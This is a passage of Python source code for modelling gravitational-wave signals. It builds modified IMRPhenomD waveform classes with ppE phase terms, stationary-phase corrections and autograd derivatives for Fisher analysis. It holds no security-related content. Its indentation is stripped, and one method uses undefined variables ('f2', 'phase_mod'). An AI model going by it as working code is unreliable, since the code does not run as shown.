for j in jamp:
ampout = np.concatenate((ampout,amp[j]))
"""Return the amplitude vector, phase vector, and real part of the waveform"""
return ampout
"""Derivative Definitions - added phase_mod to derivatives"""
@primitive
def assign_beta1(self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod):
for j in [chirpm,delta,symmratio,phic,tc,chi_a,chi_s,phase_mod]:
if isinstance(j,np.ndarray):
return np.ones(len(j))*self.beta1
return self.beta1
defvjp(assign_beta1,None,
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[0],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[1],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[2],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[3],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[4],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[5],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[6],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[7])
@primitive
def assign_beta0(self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod):
for j in [chirpm,delta,symmratio,phic,tc,chi_a,chi_s,beta1,phase_mod]:
if isinstance(j,np.ndarray):
return np.ones(len(j))*self.beta0
return self.beta0
defvjp(assign_beta0,None,
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[0],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[1],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[2],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[3],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[4],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[5],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[6],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[7],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[8])
@primitive
def assign_alpha1(self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod):
for j in [chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod]:
if isinstance(j,np.ndarray):
return np.ones(len(j))*self.alpha1
return self.alpha1
defvjp(assign_alpha1,None,
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[0],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[1],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[2],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[3],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[4],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[5],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[6],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[7],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[8])
@primitive
def assign_alpha0(self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod):
for j in [chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod]:
if isinstance(j,np.ndarray):
return np.ones(len(j))*self.alpha0
return self.alpha0
defvjp(assign_alpha0,None,
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[0],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[1],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[2],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[3],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[4],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[5],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[6],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[7],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[8],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[9])
"""Same as Modified full Freq, but the arguments are detector frame"""
class Modified_IMRPhenomD_Full_Freq_detector_frame(Modified_IMRPhenomD_Full_Freq):
def __init__(self, mass1, mass2,spin1,spin2, collision_time,
collision_phase,Luminosity_Distance,phase_mod = 0,bppe = -3,
cosmo_model = cosmology.Planck15,NSflag = False,N_detectors = 1):
"""Populate model variables"""
self.N_detectors = N_detectors
self.NSflag = NSflag
self.cosmo_model = cosmo_model
self.DL = Luminosity_Distance
self.tc = float(collision_time)
self.phic = float(collision_phase)
self.symmratio = (mass1 * mass2) / (mass1 + mass2 )**2
#self.chirpme = (mass1 * mass2)**(3/5)/(mass1 + mass2)**(1/5)
self.delta = utilities.calculate_delta(self.symmratio)
self.chirpm = (mass1 * mass2)**(3/5)/(mass1 + mass2)**(1/5)
#self.Z =Distance(Luminosity_Distance/mpc,unit=u.Mpc).compute_z(cosmology = self.cosmo_model)#.01
#self.chirpm = self.chirpme*(1+self.Z)
self.M = utilities.calculate_totalmass(self.chirpm,self.symmratio)
self.m1 = utilities.calculate_mass1(self.chirpm,self.symmratio)
self.m2 = utilities.calculate_mass2(self.chirpm,self.symmratio)
self.totalMass_restframe = mass1+mass2
self.A0 =(np.pi/30)**(1/2)*self.chirpm**2/self.DL * (np.pi*self.chirpm)**(-7/6)
#self.A0 =(np.pi*40./192.)**(1/2)*self.chirpm**2/self.DL * (np.pi*self.chirpm)**(-7/6)
"""Spin Variables"""
self.chi1 = spin1
self.chi2 = spin2
self.chi_s = (spin1 + spin2)/2
self.chi_a = (spin1 - spin2)/2
"""Post Newtonian Phase"""
self.pn_phase = np.zeros(8)
for i in [0,1,2,3,4,7]:
self.pn_phase[i] = utilities.calculate_pn_phase(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1,i)
"""Numerical Fit Parameters"""
self.parameters =[]
for i in np.arange(len(Lambda)):
self.parameters.append(self.calculate_parameter(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
"""Post Newtonian Amplitude"""
self.pn_amp = np.zeros(7)
for i in np.arange(7):
self.pn_amp[i]=utilities.calculate_pn_amp(self.symmratio,self.delta,self.chi_a,self.chi_s,i)
"""Post Merger Parameters - Ring Down frequency and Damping frequency"""
self.fRD = utilities.calculate_postmerger_fRD(\
self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a)
self.fdamp = utilities.calculate_postmerger_fdamp(\
self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a)
self.fpeak = utilities.calculate_fpeak(self.M,self.fRD,self.fdamp,self.parameters[5],self.parameters[6])
"""Calculating the parameters for the intermediate amplitude region"""
self.param_deltas = np.zeros(5)
for i in np.arange(5):
self.param_deltas[i] = self.calculate_delta_parameter(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i)
"""Only modifications to the system variables are below:
-beta1
-beta0
-phase_mod
-bppe
-var_arr"""
#################################################################################
"""Phase continuity parameters"""
"""Must be done in order - beta1,beta0,alpha1, then alpha0"""
self.phase_mod = float(phase_mod)
self.bppe = bppe
self.beta1 = self.phase_cont_beta1(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.phase_mod)
self.beta0 = self.phase_cont_beta0(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.beta1,self.phase_mod)
self.alpha1 = self.phase_cont_alpha1(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.phase_mod)
self.alpha0 = self.phase_cont_alpha0(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.alpha1,self.phase_mod)
self.var_arr = [self.A0,self.phic,self.tc,self.chirpm,self.symmratio,self.chi_s,self.chi_a,self.phase_mod]
def fix_snr(self,snr_target,detector='aLIGO',lower_freq=None,upper_freq=None):
snr_current = self.calculate_snr(detector=detector,lower_freq=lower_freq,upper_freq=upper_freq)
#snr_current = self.calculate_snr_old(detector=detector,lower_freq=lower_freq,upper_freq=upper_freq)
oldDL = self.DL
self.DL = self.DL*snr_current/snr_target
self.A0 = self.A0*oldDL/self.DL
self.var_arr[0] = self.A0
def fix_snr_series(self,snr_target,frequencies,detector='aLIGO'):
snr_current = self.calculate_snr_series(detector=detector,frequencies=frequencies)
oldDL = self.DL
self.DL = self.DL*snr_current/snr_target
self.A0 = self.A0*oldDL/self.DL
self.var_arr[0] = self.A0
"""Child class of Modified_IMRPhenomD - adds modification to the phase of the waveform in the inspiral region -
extra arguments: phase_mod (=0), bppe (=-3) -> phi_ins = IMRPhenomD.phi_ins + phase_mod*(pi*chirpm*f)**(bppe/3)
Calculation of th modification from Will '97"""
class Modified_IMRPhenomD_Inspiral_Freq(Modified_IMRPhenomD_Full_Freq):
def phi_int(self,f,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).phi_int(f,M,symmratio,beta0,beta1,beta2,beta3))#-phase_mod*(chirpm*np.pi*f)**(self.bppe/3)
def Dphi_int(self,f,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).Dphi_int(f,M,symmratio,beta0,beta1,beta2,beta3))#-phase_mod*(chirpm*np.pi*f)**(self.bppe/3)
def phi_mr(self,f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).phi_mr(f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp))#-phase_mod*(chirpm*np.pi*f)**(self.bppe/3)
def Dphi_mr(self,f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).Dphi_mr(f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp))#-phase_mod*(chirpm*np.pi*f)**(self.bppe/3)
"""Same as above, but for detector frame"""
class Modified_IMRPhenomD_Inspiral_Freq_detector_frame(Modified_IMRPhenomD_Full_Freq_detector_frame):
def phi_int(self,f,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).phi_int(f,M,symmratio,beta0,beta1,beta2,beta3))#-phase_mod*(chirpm*np.pi*f)**(self.bppe/3)
def Dphi_int(self,f,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).Dphi_int(f,M,symmratio,beta0,beta1,beta2,beta3))#-phase_mod*(chirpm*np.pi*f)**(self.bppe/3)
def phi_mr(self,f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).phi_mr(f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp))#-phase_mod*(chirpm*np.pi*f)**(self.bppe/3)
def Dphi_mr(self,f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).Dphi_mr(f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp))#-phase_mod*(chirpm*np.pi*f)**(self.bppe/3)
"""Class that includes ppE parameter in phase for Fisher analysis in entire frequency range- adjusted for correction to SPA, following
the derivation in arXiv:gr-qc/9901076 - includes ppE correction and GR correction term, see nb for the mod SPA coefficients"""
class Modified_IMRPhenomD_Full_Freq_SPA(Modified_IMRPhenomD_Full_Freq):
def SPA_correction(self,f,chirpm,b,phase_mod):
return 92/45 * (np.pi * chirpm * f)**(5/3)+ (160/1125)*(1431 + 676*b + 134*b**2 + 9*b**3) * phase_mod * (np.pi * chirpm* f)**((10+b)/3)
def DSPA_correction(self,f,chirpm,b,phase_mod):
return 92/45 * (np.pi * chirpm )**(5/3)*(5/3)*f**(5/3-1)+ (160/1125)*(1431 + 676*b + 134*b**2 + 9*b**3) * phase_mod * (np.pi * chirpm)**((10+b)/3)*((10+b)/3)*f**((10+b)/3-1)
"""Just need to add terms to the phase functions - call super method, and append correction term"""
def phi_ins(self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq_SPA,self).phi_ins(f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod))+ self.SPA_correction(f,chirpm,self.bppe,phase_mod)
def Dphi_ins(self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq_SPA,self).Dphi_ins(f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod))+ self.DSPA_correction(f,chirpm,self.bppe,phase_mod)
def phi_int(self,f,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq_SPA,self).phi_int(f,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod))+ self.SPA_correction(f,chirpm,self.bppe,phase_mod)
def Dphi_int(self,f,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq_SPA,self).Dphi_int(f,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod))+ self.DSPA_correction(f,chirpm,self.bppe,phase_mod)
def phi_mr(self,f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq_SPA,self).phi_mr(f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod))+ self.SPA_correction(f,chirpm,self.bppe,phase_mod)
def Dphi_mr(self,f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq_SPA,self).Dphi_mr(f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod))+ self.DSPA_correction(f,chirpm,self.bppe,phase_mod)
"""Class that includes ppE parameter in phase for Fisher analysis in inspiral frequency range- adjusted for correction to SPA, following
the derivation in arXiv:gr-qc/9901076 - includes ppE correction and GR correction term"""
class Modified_IMRPhenomD_Inspiral_Freq_SPA(Modified_IMRPhenomD_Inspiral_Freq):
def SPA_correction(self,f,chirpm,b,phase_mod):
return 92/45 * (np.pi * chirpm * f)**(5/3)+ (160/1125)*(1431 + 676*b + 134*b**2 + 9*b**3) * phase_mod * (np.pi * chirpm* f)**((10+b)/3)
def DSPA_correction(self,f,chirpm,b,phase_mod):
return 92/45 * (np.pi * chirpm )**(5/3)*(5/3)*f**(5/3-1)+ (160/1125)*(1431 + 676*b + 134*b**2 + 9*b**3) * phase_mod * (np.pi * chirpm)**((10+b)/3)*((10+b)/3)*f**((10+b)/3-1)
"""Just need to add terms to the phase functions - call super method, and append correction term"""
def phi_ins(self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
return (super(Modified_IMRPhenomD_Inspiral_Freq_SPA,self).phi_ins(f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod))+ self.SPA_correction(f,chirpm,self.bppe,phase_mod)
def Dphi_ins(self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
return (super(Modified_IMRPhenomD_Inspiral_Freq_SPA,self).Dphi_ins(f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod))+ self.DSPA_correction(f,chirpm,self.bppe,phase_mod)
"""Modified IMRPhenomD to treat the log of the transition frequency from intermediate to merger-rindown
as extra Fisher Variables - Full Variable List:
[lnA, phi_c, t_c, ln Chirpm Mass, ln symmetric mass ratio, chi_s, chi_a, ln f_trans_mr]"""
class Modified_IMRPhenomD_Transition_Freq(IMRPhenomD):
def __init__(self, mass1, mass2,spin1,spin2, collision_time,
collision_phase,Luminosity_Distance,cosmo_model = cosmology.Planck15,NSflag = False,N_detectors = 1, f_int_mr = None):
"""Populate model variables"""
self.N_detectors = N_detectors
self.NSflag = NSflag
self.cosmo_model = cosmo_model
self.DL = Luminosity_Distance
self.tc = float(collision_time)
self.phic = float(collision_phase)
self.symmratio = (mass1 * mass2) / (mass1 + mass2 )**2
self.chirpme = (mass1 * mass2)**(3/5)/(mass1 + mass2)**(1/5)
self.delta = utilities.calculate_delta(self.symmratio)
self.Z =Distance(Luminosity_Distance/mpc,unit=u.Mpc).compute_z(cosmology = self.cosmo_model)#.01
self.chirpm = self.chirpme*(1+self.Z)
self.M = utilities.calculate_totalmass(self.chirpm,self.symmratio)
self.m1 = utilities.calculate_mass1(self.chirpm,self.symmratio)
self.m2 = utilities.calculate_mass2(self.chirpm,self.symmratio)
self.totalMass_restframe = mass1+mass2
self.A0 =(np.pi/30)**(1/2)*self.chirpm**2/self.DL * (np.pi*self.chirpm)**(-7/6)
"""Spin Variables"""
self.chi1 = spin1
self.chi2 = spin2
self.chi_s = (spin1 + spin2)/2
self.chi_a = (spin1 - spin2)/2
"""Post Newtonian Phase"""
self.pn_phase = np.zeros(8)
for i in [0,1,2,3,4,7]:
self.pn_phase[i] = utilities.calculate_pn_phase(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1,i)
"""Numerical Fit Parameters"""
self.parameters =[]
for i in np.arange(len(Lambda)):
self.parameters.append(self.calculate_parameter(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
"""Post Newtonian Amplitude"""
self.pn_amp = np.zeros(7)
for i in np.arange(7):
self.pn_amp[i]=utilities.calculate_pn_amp(self.symmratio,self.delta,self.chi_a,self.chi_s,i)
"""Post Merger Parameters - Ring Down frequency and Damping frequency"""
self.fRD = utilities.calculate_postmerger_fRD(\
self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a)
self.fdamp = utilities.calculate_postmerger_fdamp(\
self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a)
self.fpeak = utilities.calculate_fpeak(self.M,self.fRD,self.fdamp,self.parameters[5],self.parameters[6])
"""Calculating the parameters for the intermediate amplitude region"""
self.param_deltas = np.zeros(5)
for i in np.arange(5):
self.param_deltas[i] = self.calculate_delta_parameter(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i)
"""Only modifications to the system variables are below:
-beta1
-beta0
-f_transition
-bppe
-var_arr"""
#################################################################################
self.f_trans0 = 0.018/self.M
if f_int_mr == None:
self.f_transition = .5*self.fRD
else:
self.f_transition = f_int_mr
"""Phase continuity parameters"""
"""Must be done in order - beta1,beta0,alpha1, then alpha0"""
self.beta1 = self.phase_cont_beta1(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s)
self.beta0 = self.phase_cont_beta0(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.beta1)
self.alpha1 = self.phase_cont_alpha1(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.f_transition)
self.alpha0 = self.phase_cont_alpha0(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.alpha1,self.f_transition)
self.var_arr = [self.A0,self.phic,self.tc,self.chirpm,self.symmratio,self.chi_s,self.chi_a,self.f_transition]
def phase_cont_alpha1(self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition):
M = self.assign_totalmass(chirpm,symmratio)
alpha2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,15)
alpha3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,16)
alpha4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,17)
alpha5 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,18)
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
f1 = f_transition
int_grad = self.Dphi_int(f2,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod)
mr_grad = self.Dphi_mr(f2,chirpm,symmratio,0,0,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod)
return (1/M)*int_grad*symmratio \
-(symmratio/M)*mr_grad
def phase_cont_alpha0(self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition):
M = self.assign_totalmass(chirpm,symmratio)
alpha2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,15)
alpha3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,16)
alpha4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,17)
alpha5 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,18)
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
f1 = f_transition
return self.phi_int(f1,M,symmratio,beta0,beta1,beta2,beta3) *symmratio \
- symmratio*self.phi_mr(f1,chirpm,symmratio,0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp)
######################################################################################
"""Added phase mod argument for derivatives - returns the same as GR"""
def amp_ins_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,f_transition):
return super(Modified_IMRPhenomD_Transition_Freq,self).amp_ins_vector(f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a)
def amp_int_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,f_transition):
return super(Modified_IMRPhenomD_Transition_Freq,self).amp_int_vector(f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a)
def amp_mr_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,f_transition):
return super(Modified_IMRPhenomD_Transition_Freq,self).amp_mr_vector(f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a)
######################################################################################
"""Only added transition frequencies to the arguments of beta1 and beta0 - Otherwise, exact copy of GR model method"""
def phase_mr_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,f_transition):
M = self.assign_totalmass(chirpm,symmratio)
m1 = self.assign_mass1(chirpm,symmratio)
m2 = self.assign_mass2(chirpm,symmratio)
delta = self.assign_delta(symmratio)
fRD = self.assign_fRD(m1,m2,M,symmratio,chi_s,chi_a)
fdamp = self.assign_fdamp(m1,m2,M,symmratio,chi_s,chi_a)
fpeak = self.assign_fpeak(M,fRD,fdamp,self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,5),self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,6))
beta1 = self.assign_beta1(chirpm,symmratio,delta,phic,tc,chi_a,chi_s)
beta0 = self.assign_beta0(chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1)
alpha1 = self.assign_alpha1(chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition)
alpha0 = self.assign_alpha0(chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition)
alpha2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,15)
alpha3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,16)
alpha4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,17)
alpha5 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,18)
return self.phi_mr(f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp)
"""Uses overriden phi_ins method - added transition frequency args"""
def phase_ins_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a, f_transition):
return super(Modified_IMRPhenomD_Transition_Freq,self).phase_ins_vector(f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a)
"""Added transition frequency arg to beta parameter calls"""
def phase_int_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a, f_transition):
return super(Modified_IMRPhenomD_Transition_Freq,self).phase_int_vector(f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a)
def split_freqs_phase(self,freqs):
freqins = freqs[(freqs<=self.f_trans0)]
freqint = freqs[(freqs>self.f_trans0) & (freqs<=self.f_transition)]
freqmr = freqs[(freqs>self.f_transition)]
return [freqins,freqint,freqmr]
"""Added derivatives for all the mod phi arguments - """
def calculate_derivatives(self):
"""Pre-calculate Derivatives here - (Order does matter - parameter functions may be functions of system constants)
If the variable is instantiated as an array, a derivate array for each system variable is created and is cycled through
(ie Lambda paramaters is parameters[i] and has derivate arrays parameters_deriv_symmratio etc).
If the variable is a single value, the variable has one array of derivates, the elements of which are the derivatives wrt
various system variables (ie M -> M_deriv[i] for symmratio and chripm etc)
-M
-m1
-m2
-Lambda parameters
-pn_amp
-pn_phase
-delta parameters (intermediate amplitude parameters)
-fRD
-fdamp
-fpeak
-delta (mass parameter)
-phase continuitiy variables (beta1,beta0,alpha1,alpha0)
"""
self.total_mass_deriv = []
for i in range(2):
self.total_mass_deriv.append(grad(utilities.calculate_totalmass,i)(self.chirpm,self.symmratio))
self.mass1_deriv = []
for i in range(2):
self.mass1_deriv.append(grad(utilities.calculate_mass1,i)(self.chirpm,self.symmratio))
self.mass2_deriv = []
for i in range(2):
self.mass2_deriv.append(grad(utilities.calculate_mass2,i)(self.chirpm,self.symmratio))
self.lambda_derivs_symmratio=[]
self.lambda_derivs_chirpm = []
self.lambda_derivs_chi_a = []
self.lambda_derivs_chi_s = []
for i in np.arange(len(Lambda)):
self.lambda_derivs_chirpm.append(grad(self.calculate_parameter,0)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.lambda_derivs_symmratio.append(grad(self.calculate_parameter,1)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.lambda_derivs_chi_a.append(grad(self.calculate_parameter,2)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.lambda_derivs_chi_s.append(grad(self.calculate_parameter,3)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_symmratio = []
self.pn_amp_deriv_delta = []
self.pn_amp_deriv_chi_a = []
self.pn_amp_deriv_chi_s = []
for i in np.arange(len(self.pn_amp)):
self.pn_amp_deriv_symmratio.append(grad(utilities.calculate_pn_amp,0)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_delta.append(grad(utilities.calculate_pn_amp,1)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_chi_a.append(grad(utilities.calculate_pn_amp,2)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
